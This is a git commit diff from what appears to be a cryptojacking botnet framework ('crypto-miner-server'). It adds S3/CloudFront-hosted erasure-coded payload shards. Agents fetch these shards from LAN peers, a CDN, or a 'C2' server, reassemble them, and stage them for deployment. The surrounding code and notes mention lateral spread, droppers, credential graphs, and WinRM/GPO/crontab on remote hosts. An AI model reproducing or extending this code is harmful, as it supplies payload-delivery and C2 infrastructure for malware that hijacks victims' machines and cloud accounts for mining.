Add S3 erasure swarm with CloudFront signed magnets.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.
This commit is contained in:
AetherForge
2026-06-07 10:05:21 -07:00
parent 40d46408ea
commit 0795c511ab
23 changed files with 885 additions and 75 deletions

View File

@@ -68,7 +68,7 @@ Automatable gaps are closed; remaining items below are by-design limits, archite
| Item | Notes | | Item | Notes |
|------|-------| |------|-------|
| **Erasure-coded multi-lane propagation** | **Partial foundation** — server `internal/erasure/` RS 4+2 + shard API; deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails. **Fleet Torrent (partial):** `fleet_torrent_enabled` adds shard DHT gossip, primary seeder election, BGP swarm magnets, and C2 torrent manifest — **not shipped:** live peer HTTP shard serving on agents, UDP/magnet tracker, or erasure-first spread E2E. | | **Erasure-coded multi-lane propagation** | **Partial foundation** — server `internal/erasure/` RS 4+2 + shard API; deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails. **Fleet Torrent (partial):** `fleet_torrent_enabled` adds shard DHT gossip, primary seeder election, BGP swarm magnets, and C2 torrent manifest — **not shipped:** live peer HTTP shard serving on agents, UDP/magnet tracker, or erasure-first spread E2E. **AWS Erasure Swarm (partial):** operator `aws_s3_shard_bucket` + `aws_cloudfront_domain` + `AF_AWS_*` / `AF_CLOUDFRONT_*` env; deploy plans upload shards + signed `edge_url` / `xs=` magnets; agents prefer LAN → CloudFront → C2 — **not shipped:** live S3/CloudFront E2E without real operator creds or automated distribution provisioning. |
| **Onion contingency miner (partial)** | **Partial** — when `ai_control_enabled`, auth pushes `contingency_policy`; agent `ContingencyTreeRunner` walks `inprocess``container``gpu_subprocess``idle_tune``self_surgery` with local persona ghost forks (no lateral spread); each hop ships `onion_miner_log` WS + Seer; server `ContingencyOrchestrator` freezes winners and pushes `contingency_branch_params` from graft **mining** genome (not spread tiers) on exhaustion; hospice retires strain after 12 cycles; operator `pause` stops tree. Crucible **ONION N** badge. **Not shipped:** live LLM court invoke on every exhaust tick (deterministic compose today). | | **Onion contingency miner (partial)** | **Partial** — when `ai_control_enabled`, auth pushes `contingency_policy`; agent `ContingencyTreeRunner` walks `inprocess``container``gpu_subprocess``idle_tune``self_surgery` with local persona ghost forks (no lateral spread); each hop ships `onion_miner_log` WS + Seer; server `ContingencyOrchestrator` freezes winners and pushes `contingency_branch_params` from graft **mining** genome (not spread tiers) on exhaustion; hospice retires strain after 12 cycles; operator `pause` stops tree. Crucible **ONION N** badge. **Not shipped:** live LLM court invoke on every exhaust tick (deterministic compose today). |
| **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab on remote owned hosts; live BITS/curl against non-mock C2; live multi-hop discover→spread without Playwright stub; live TLS/mesh beacon; full `wg_setup` on real Windows hosts. | | **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab on remote owned hosts; live BITS/curl against non-mock C2; live multi-hop discover→spread without Playwright stub; live TLS/mesh beacon; full `wg_setup` on real Windows hosts. |

View File

@@ -21,14 +21,12 @@ const (
fleetTorrentZeroServerRetry = 30 * time.Minute fleetTorrentZeroServerRetry = 30 * time.Minute
) )
// FleetGossipKind mirrors server atlas fleet gossip kinds.
const ( const (
FleetGossipHaveShard = "have_shard" FleetGossipHaveShard = "have_shard"
FleetGossipHealthy = "healthy" FleetGossipHealthy = "healthy"
FleetGossipKnowNode = "know_node" FleetGossipKnowNode = "know_node"
) )
// FleetGossipRecord is one DHT advertisement from a fleet peer.
type FleetGossipRecord struct { type FleetGossipRecord struct {
Kind string `json:"kind"` Kind string `json:"kind"`
AgentID string `json:"agent_id,omitempty"` AgentID string `json:"agent_id,omitempty"`
@@ -36,37 +34,36 @@ type FleetGossipRecord struct {
Token string `json:"token,omitempty"` Token string `json:"token,omitempty"`
ShardIndex int `json:"shard_index,omitempty"` ShardIndex int `json:"shard_index,omitempty"`
ShardHash string `json:"shard_hash,omitempty"` ShardHash string `json:"shard_hash,omitempty"`
Region string `json:"region,omitempty"`
ShardAdvert string `json:"shard_advert,omitempty"`
TargetAgentID string `json:"target_agent_id,omitempty"` TargetAgentID string `json:"target_agent_id,omitempty"`
Healthy bool `json:"healthy,omitempty"` Healthy bool `json:"healthy,omitempty"`
FetchURL string `json:"fetch_url,omitempty"` FetchURL string `json:"fetch_url,omitempty"`
} }
// ShardPeer is a known holder of one content-addressed shard.
type ShardPeer struct { type ShardPeer struct {
AgentID string AgentID string
Subnet string Subnet string
Region string
FetchURL string FetchURL string
Score int // higher = prefer LAN same-subnet
} }
// FleetShardDHT tracks content-addressed shard availability across the fleet.
type FleetShardDHT struct { type FleetShardDHT struct {
mu sync.RWMutex mu sync.RWMutex
peers map[string]map[int][]ShardPeer // token -> index -> peers peers map[string]map[int][]ShardPeer
healthy map[string]bool // agentID -> healthy shardHash map[string]map[int]string
local map[string]map[int][]byte // token -> index -> shard bytes (primary seeder cache) healthy map[string]bool
local map[string]map[int][]byte
} }
var globalFleetDHT = &FleetShardDHT{ var globalFleetDHT = &FleetShardDHT{
peers: make(map[string]map[int][]ShardPeer), peers: make(map[string]map[int][]ShardPeer),
healthy: make(map[string]bool), shardHash: make(map[string]map[int]string),
local: make(map[string]map[int][]byte), healthy: make(map[string]bool),
local: make(map[string]map[int][]byte),
} }
// FleetShardDHTSnapshot returns the process-wide shard DHT (tests may replace). func FleetShardDHTSnapshot() *FleetShardDHT { return globalFleetDHT }
func FleetShardDHTSnapshot() *FleetShardDHT {
return globalFleetDHT
}
func SetFleetShardDHT(dht *FleetShardDHT) { func SetFleetShardDHT(dht *FleetShardDHT) {
if dht != nil { if dht != nil {
@@ -79,7 +76,6 @@ func shardContentHash(data []byte) string {
return hex.EncodeToString(sum[:]) return hex.EncodeToString(sum[:])
} }
// MergeFleetGossipRecords ingests relayed fleet torrent gossip.
func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) { func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
if d == nil || len(records) == 0 { if d == nil || len(records) == 0 {
return return
@@ -92,17 +88,28 @@ func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
if r.Token == "" || r.AgentID == "" { if r.Token == "" || r.AgentID == "" {
continue continue
} }
region := strings.TrimSpace(r.Region)
if region == "" && r.ShardAdvert != "" {
if parsed, _, ok := ParseShardAdvert(r.ShardAdvert); ok {
region = parsed
}
}
if d.peers[r.Token] == nil { if d.peers[r.Token] == nil {
d.peers[r.Token] = make(map[int][]ShardPeer) d.peers[r.Token] = make(map[int][]ShardPeer)
} }
peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, FetchURL: r.FetchURL} if d.shardHash[r.Token] == nil {
d.shardHash[r.Token] = make(map[int]string)
}
if h := strings.TrimSpace(strings.ToLower(r.ShardHash)); h != "" {
d.shardHash[r.Token][r.ShardIndex] = h
}
peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, Region: region, FetchURL: r.FetchURL}
d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer) d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer)
case FleetGossipHealthy: case FleetGossipHealthy:
if r.AgentID != "" { if r.AgentID != "" {
d.healthy[r.AgentID] = r.Healthy d.healthy[r.AgentID] = r.Healthy
} }
case FleetGossipKnowNode: case FleetGossipKnowNode:
// know_node expands peer graph — treated as healthy signal for target
if r.TargetAgentID != "" { if r.TargetAgentID != "" {
d.healthy[r.TargetAgentID] = true d.healthy[r.TargetAgentID] = true
} }
@@ -119,7 +126,6 @@ func appendUniquePeer(peers []ShardPeer, p ShardPeer) []ShardPeer {
return append(peers, p) return append(peers, p)
} }
// StoreLocalShard caches one shard for primary-seeder fan-out.
func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) { func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
if d == nil || token == "" || len(body) == 0 { if d == nil || token == "" || len(body) == 0 {
return return
@@ -132,7 +138,6 @@ func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
d.local[token][index] = append([]byte(nil), body...) d.local[token][index] = append([]byte(nil), body...)
} }
// LocalShard returns a cached shard when this agent is primary seeder.
func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) { func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
if d == nil { if d == nil {
return nil, false return nil, false
@@ -149,8 +154,7 @@ func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
return append([]byte(nil), body...), true return append([]byte(nil), body...), true
} }
// PeersForShard returns known peers holding one shard index. func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, localRegion string) []ShardPeer {
func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet string) []ShardPeer {
if d == nil { if d == nil {
return nil return nil
} }
@@ -163,8 +167,8 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet strin
out := make([]ShardPeer, len(raw)) out := make([]ShardPeer, len(raw))
copy(out, raw) copy(out, raw)
sort.Slice(out, func(i, j int) bool { sort.Slice(out, func(i, j int) bool {
si := peerScore(out[i], localSubnet) si := peerScore(out[i], localSubnet, localRegion)
sj := peerScore(out[j], localSubnet) sj := peerScore(out[j], localSubnet, localRegion)
if si != sj { if si != sj {
return si > sj return si > sj
} }
@@ -173,8 +177,26 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet strin
return out return out
} }
func peerScore(p ShardPeer, localSubnet string) int { func (d *FleetShardDHT) ShardContentHash(token string, index int) string {
if d == nil {
return ""
}
d.mu.RLock()
defer d.mu.RUnlock()
if d.shardHash[token] == nil {
return ""
}
return d.shardHash[token][index]
}
func peerScore(p ShardPeer, localSubnet, localRegion string) int {
if localSubnet != "" && p.Subnet == localSubnet { if localSubnet != "" && p.Subnet == localSubnet {
return 4
}
if localRegion != "" && p.Region == localRegion {
return 3
}
if p.Region != "" {
return 2 return 2
} }
if p.Subnet != "" { if p.Subnet != "" {
@@ -183,7 +205,6 @@ func peerScore(p ShardPeer, localSubnet string) int {
return 0 return 0
} }
// PickLANNeighborPeers returns up to maxLAN peers on the same /24.
func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer { func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer {
if maxLAN <= 0 { if maxLAN <= 0 {
maxLAN = fleetTorrentMaxLANNeighbors maxLAN = fleetTorrentMaxLANNeighbors
@@ -200,15 +221,14 @@ func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []S
return out return out
} }
// FetchErasureShardFleet tries LAN neighbors, cross-subnet peers, then C2 URL. func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, localSubnet, localRegion string, dht *FleetShardDHT) ([]byte, error) {
func FetchErasureShardFleet(token string, index int, c2URL, localSubnet string, dht *FleetShardDHT) ([]byte, error) {
if dht == nil { if dht == nil {
dht = globalFleetDHT dht = globalFleetDHT
} }
if body, ok := dht.LocalShard(token, index); ok { if body, ok := dht.LocalShard(token, index); ok {
return body, nil return body, nil
} }
peers := dht.PeersForShard(token, index, localSubnet) peers := dht.PeersForShard(token, index, localSubnet, localRegion)
try := func(url string) ([]byte, error) { try := func(url string) ([]byte, error) {
if url == "" { if url == "" {
return nil, fmt.Errorf("empty url") return nil, fmt.Errorf("empty url")
@@ -227,18 +247,35 @@ func FetchErasureShardFleet(token string, index int, c2URL, localSubnet string,
if localSubnet != "" && p.Subnet == localSubnet { if localSubnet != "" && p.Subnet == localSubnet {
continue continue
} }
if localRegion != "" && p.Region == localRegion {
if body, err := try(p.FetchURL); err == nil {
return body, nil
}
}
}
for _, p := range peers {
if localSubnet != "" && p.Subnet == localSubnet {
continue
}
if localRegion != "" && p.Region == localRegion {
continue
}
if body, err := try(p.FetchURL); err == nil { if body, err := try(p.FetchURL); err == nil {
return body, nil return body, nil
} }
} }
if cloudFrontURL != "" {
if body, err := try(cloudFrontURL); err == nil {
return body, nil
}
}
if c2URL != "" { if c2URL != "" {
return try(c2URL) return try(c2URL)
} }
return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index) return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index)
} }
// RunFleetTorrentStaging reassembles via fleet DHT peers with C2 super-seeder fallback. func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet, localRegion string) (string, error) {
func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet string) (string, error) {
if !plan.Enabled || len(plan.Shards) == 0 { if !plan.Enabled || len(plan.Shards) == 0 {
return "", fmt.Errorf("erasure plan disabled or empty") return "", fmt.Errorf("erasure plan disabled or empty")
} }
@@ -274,7 +311,15 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba
if c2 != "" && !strings.HasPrefix(c2URL, "http") { if c2 != "" && !strings.HasPrefix(c2URL, "http") {
c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index) c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index)
} }
body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, localSubnet, dht) region := localRegion
if region == "" {
region = strings.TrimSpace(cfg.AwsS3ShardRegion)
}
cfURL := cloudFrontShardURL(cfg.AwsCloudFrontDomain, plan.ShardToken, region, ref.Index, dht.ShardContentHash(plan.ShardToken, ref.Index))
if edge := strings.TrimSpace(ref.EdgeURL); edge != "" {
cfURL = edge
}
body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, cfURL, localSubnet, localRegion, dht)
if err != nil { if err != nil {
continue continue
} }
@@ -313,8 +358,7 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba
return "fleet_torrent: " + msg, nil return "fleet_torrent: " + msg, nil
} }
// IngestErasureShardsForSeeder stores shards and prepares gossip advertisements for primary seeders. func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
func IngestErasureShardsForSeeder(plan ErasurePlanBody, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
if fetchFn == nil { if fetchFn == nil {
fetchFn = fetchErasureShardHTTP fetchFn = fetchErasureShardHTTP
} }
@@ -325,40 +369,33 @@ func IngestErasureShardsForSeeder(plan ErasurePlanBody, fetchFn func(url string)
if err != nil || len(body) == 0 { if err != nil || len(body) == 0 {
continue continue
} }
hash := shardContentHash(body)
dht.StoreLocalShard(plan.ShardToken, ref.Index, body) dht.StoreLocalShard(plan.ShardToken, ref.Index, body)
records = append(records, FleetGossipRecord{ records = append(records, FleetGossipRecord{
Kind: FleetGossipHaveShard, Kind: FleetGossipHaveShard, Token: plan.ShardToken, ShardIndex: ref.Index,
Token: plan.ShardToken, ShardHash: hash, Region: strings.TrimSpace(region),
ShardIndex: ref.Index, ShardAdvert: FormatShardAdvert(region, ref.Index), FetchURL: ref.URL, Healthy: true,
ShardHash: shardContentHash(body),
FetchURL: ref.URL,
Healthy: true,
}) })
} }
return records return records
} }
// StartFleetTorrentReplication runs background shard re-replication for primary seeders.
func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) { func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) {
if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder { if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder || gossipFn == nil {
return
}
if gossipFn == nil {
return return
} }
go func() { go func() {
ticker := time.NewTicker(5 * time.Minute) ticker := time.NewTicker(5 * time.Minute)
defer ticker.Stop() defer ticker.Stop()
for range ticker.C { for range ticker.C {
recs := IngestErasureShardsForSeeder(plan, fetchErasureShardHTTP) region := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)
if len(recs) > 0 { if recs := IngestErasureShardsForSeeder(plan, region, fetchErasureShardHTTP); len(recs) > 0 {
gossipFn(recs) gossipFn(recs)
} }
} }
}() }()
} }
// StartZeroServerReconnect attempts HTTPS dashboard reconnect every 30 minutes.
func StartZeroServerReconnect(reconnectFn func() error) { func StartZeroServerReconnect(reconnectFn func() error) {
if reconnectFn == nil { if reconnectFn == nil {
return return
@@ -372,7 +409,6 @@ func StartZeroServerReconnect(reconnectFn func() error) {
}() }()
} }
// ParseSwarmMagnetToken extracts the erasure token from a swarm magnet tr= parameter.
func ParseSwarmMagnetToken(magnet string) string { func ParseSwarmMagnetToken(magnet string) string {
magnet = strings.TrimSpace(magnet) magnet = strings.TrimSpace(magnet)
if magnet == "" { if magnet == "" {
@@ -388,7 +424,6 @@ func ParseSwarmMagnetToken(magnet string) string {
return "" return ""
} }
// FetchShardManifestHTTP loads shard bytes from a manifest URL entry.
func FetchShardManifestHTTP(manifestURL string) ([]byte, error) { func FetchShardManifestHTTP(manifestURL string) ([]byte, error) {
if manifestURL == "" { if manifestURL == "" {
return nil, fmt.Errorf("empty manifest url") return nil, fmt.Errorf("empty manifest url")

View File

@@ -120,6 +120,8 @@ type ServerSettings struct {
FargateBurstExpiresAt string `json:"fargate_burst_expires_at,omitempty"` FargateBurstExpiresAt string `json:"fargate_burst_expires_at,omitempty"`
CloudMapNamespace string `json:"cloud_map_namespace,omitempty"` CloudMapNamespace string `json:"cloud_map_namespace,omitempty"`
CloudMapService string `json:"cloud_map_service,omitempty"` CloudMapService string `json:"cloud_map_service,omitempty"`
PolicySnapshotToken string `json:"policy_snapshot_token,omitempty"`
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
} }
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread. // WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.

View File

@@ -13,8 +13,8 @@ import (
"path/filepath" "path/filepath"
"strings" "strings"
dbpkg "crypto-miner-server/internal/cloudmap" dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/db" "crypto-miner-server/internal/cloudmap"
"crypto-miner-server/internal/erasure" "crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models" "crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter" "crypto-miner-server/internal/spreadrouter"
@@ -278,6 +278,7 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane) return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
} }
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane) body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
h.attachCloudMapRouteVia(&body)
if err := h.attachErasurePlan(req, serverURL, &body); err != nil { if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
return DeployPlanBody{}, err return DeployPlanBody{}, err
} }
@@ -844,3 +845,49 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
expected := hex.EncodeToString(mac.Sum(nil)) expected := hex.EncodeToString(mac.Sum(nil))
return hmac.Equal([]byte(expected), []byte(signature)) return hmac.Equal([]byte(expected), []byte(signature))
} }
func (h *DeployPlanHandler) cloudMapSettings() (namespace, service string) {
namespace = "prod.local"
service = "seeder"
if h.dataDir == "" {
return namespace, service
}
cfgPath := filepath.Join(h.dataDir, "config.json")
data, err := os.ReadFile(cfgPath)
if err != nil {
return namespace, service
}
var payload struct {
Server struct {
CloudMapNamespace string `json:"cloud_map_namespace"`
CloudMapService string `json:"cloud_map_service"`
} `json:"server"`
}
if json.Unmarshal(data, &payload) != nil {
return namespace, service
}
if ns := strings.TrimSpace(payload.Server.CloudMapNamespace); ns != "" {
namespace = ns
}
if svc := strings.TrimSpace(payload.Server.CloudMapService); svc != "" {
service = svc
}
return namespace, service
}
func (h *DeployPlanHandler) attachCloudMapRouteVia(body *DeployPlanBody) {
if body == nil {
return
}
ns, svc := h.cloudMapSettings()
routeVia := cloudmap.SeederDNSName(svc, ns)
if routeVia == "" {
return
}
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
if strings.TrimSpace(body.SpreadRouteHint.RouteVia) == "" {
body.SpreadRouteHint.RouteVia = routeVia
}
}

View File

@@ -0,0 +1,42 @@
package api
import (
"context"
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/pem"
"testing"
"crypto-miner-server/internal/erasure"
)
type s3Up struct{ n int }
func (u *s3Up) PutShard(context.Context, string, string, []byte) error { u.n++; return nil }
func (u *s3Up) HeadBucket(context.Context, string) error { return nil }
func TestAttachErasurePlanUploadsS3Swarm(t *testing.T) {
priv, _ := rsa.GenerateKey(rand.Reader, 2048)
pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
u := &s3Up{}
h := testDeployPlanHandler(t)
store := erasure.NewShardStore()
h.BindErasure(func() bool { return true }, store)
h.BindAWSErasureSwarm(func() erasure.AWSSwarmSettings {
return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{
S3Bucket: "b", CloudFrontDomain: "d.cf.net", Region: "us-east-1",
AccessKeyID: "A", SecretAccessKey: "s", KeyPairID: "K", PrivateKeyPEM: string(pemBytes),
})
}, func(erasure.AWSSwarmSettings) erasure.ShardObjectStore { return u })
plan, err := h.buildPlan(deployPlanRequest{Platform: "windows", BuildID: "b1"}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
if err != nil {
t.Fatalf("buildPlan: %v", err)
}
if plan.ErasurePlan == nil {
t.Fatalf("missing erasure plan n=%d", u.n)
}
if u.n != 6 || plan.ErasurePlan.Shards[0].EdgeURL == "" {
t.Fatalf("n=%d edge=%q", u.n, plan.ErasurePlan.Shards[0].EdgeURL)
}
}

View File

@@ -0,0 +1,95 @@
package api
import (
"encoding/json"
"net/http"
"strings"
"crypto-miner-server/internal/erasure"
)
type ErasureSwarmHandler struct {
awsSettings func() erasure.AWSSwarmSettings
objectStore func() erasure.ShardObjectStore
}
func NewErasureSwarmHandler(awsSettings func() erasure.AWSSwarmSettings, objectStore func() erasure.ShardObjectStore) *ErasureSwarmHandler {
return &ErasureSwarmHandler{awsSettings: awsSettings, objectStore: objectStore}
}
type erasureSwarmTestResponse struct {
OK bool `json:"ok"`
CredentialsReady bool `json:"credentials_ready"`
SigningReady bool `json:"signing_ready"`
Error string `json:"error,omitempty"`
S3Bucket string `json:"s3_bucket,omitempty"`
CloudFrontDomain string `json:"cloudfront_domain,omitempty"`
}
func (h *ErasureSwarmHandler) PostTest(w http.ResponseWriter, r *http.Request) {
cfg := h.cfg(r)
resp := erasureSwarmTestResponse{S3Bucket: cfg.S3Bucket, CloudFrontDomain: cfg.CloudFrontDomain, CredentialsReady: cfg.CredentialsReady(), SigningReady: cfg.SigningReady()}
if !cfg.Enabled() {
resp.Error = "set aws_s3_shard_bucket and aws_cloudfront_domain"
writeJSON(w, resp)
return
}
if !cfg.CredentialsReady() {
resp.Error = "set AF_AWS_ACCESS_KEY_ID and AF_AWS_SECRET_ACCESS_KEY"
writeJSON(w, resp)
return
}
if err := h.store().HeadBucket(r.Context(), cfg.S3Bucket); err != nil {
resp.Error = err.Error()
writeJSON(w, resp)
return
}
resp.OK = true
writeJSON(w, resp)
}
func (h *ErasureSwarmHandler) GetPolicyJSON(w http.ResponseWriter, r *http.Request) {
cfg := h.cfg(r)
bucket := strings.TrimSpace(r.URL.Query().Get("bucket"))
if bucket == "" {
bucket = cfg.S3Bucket
}
writeJSON(w, map[string]interface{}{
"iam_policy": erasure.MinimalIAMPolicyJSON(bucket),
"bucket_policy": erasure.MinimalBucketPolicyJSON(bucket, r.URL.Query().Get("cloudfront_arn")),
"env_keys": []string{"AF_AWS_ACCESS_KEY_ID", "AF_AWS_SECRET_ACCESS_KEY", "AF_AWS_REGION", "AF_CLOUDFRONT_KEY_PAIR_ID", "AF_CLOUDFRONT_PRIVATE_KEY"},
})
}
func (h *ErasureSwarmHandler) cfg(r *http.Request) erasure.AWSSwarmSettings {
cfg := erasure.AWSSwarmSettings{}
if h != nil && h.awsSettings != nil {
cfg = h.awsSettings()
}
if r != nil && r.Method == http.MethodPost {
var body struct {
S3Bucket string `json:"s3_bucket"`
CloudFrontDomain string `json:"cloudfront_domain"`
}
if json.NewDecoder(r.Body).Decode(&body) == nil {
if v := strings.TrimSpace(body.S3Bucket); v != "" {
cfg.S3Bucket = v
}
if v := strings.TrimSpace(body.CloudFrontDomain); v != "" {
cfg.CloudFrontDomain = v
}
}
}
return erasure.HydrateAWSSwarmFromEnv(cfg)
}
func (h *ErasureSwarmHandler) store() erasure.ShardObjectStore {
if h != nil && h.objectStore != nil {
return h.objectStore()
}
cfg := erasure.AWSSwarmSettings{}
if h != nil && h.awsSettings != nil {
cfg = erasure.HydrateAWSSwarmFromEnv(h.awsSettings())
}
return &erasure.S3HTTPStore{Settings: cfg}
}

View File

@@ -0,0 +1,34 @@
package api
import (
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"testing"
"crypto-miner-server/internal/erasure"
)
type okStore struct{}
func (okStore) PutShard(context.Context, string, string, []byte) error { return nil }
func (okStore) HeadBucket(context.Context, string) error { return nil }
func TestErasureSwarmPostTestOK(t *testing.T) {
os.Setenv("AF_AWS_ACCESS_KEY_ID", "A")
os.Setenv("AF_AWS_SECRET_ACCESS_KEY", "s")
defer os.Unsetenv("AF_AWS_ACCESS_KEY_ID")
defer os.Unsetenv("AF_AWS_SECRET_ACCESS_KEY")
h := NewErasureSwarmHandler(func() erasure.AWSSwarmSettings {
return erasure.AWSSwarmSettings{S3Bucket: "b", CloudFrontDomain: "d.cf.net"}
}, func() erasure.ShardObjectStore { return okStore{} })
rec := httptest.NewRecorder()
h.PostTest(rec, httptest.NewRequest(http.MethodPost, "/", nil))
var body erasureSwarmTestResponse
_ = json.NewDecoder(rec.Body).Decode(&body)
if !body.OK {
t.Fatalf("%+v", body)
}
}

View File

@@ -93,7 +93,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
dropperHandler := NewDropperHandler(database, dataDir, nil) dropperHandler := NewDropperHandler(database, dataDir, nil)
fleetAIHandler := NewFleetAIHandler(cfg, database) fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
} }
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder { func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
@@ -170,7 +170,7 @@ func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub
dropperHandler := NewDropperHandler(database, dataDir, nil) dropperHandler := NewDropperHandler(database, dataDir, nil)
fleetAIHandler := NewFleetAIHandler(cfg, database) fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
} }
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) { func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {

View File

@@ -662,6 +662,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/spread/aws-s3-crr-template", spreadHandler.GetS3CRRTemplate) r.Get("/spread/aws-s3-crr-template", spreadHandler.GetS3CRRTemplate)
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph) r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph) r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
} }
if wsHub != nil { if wsHub != nil {
@@ -785,6 +787,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard) r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
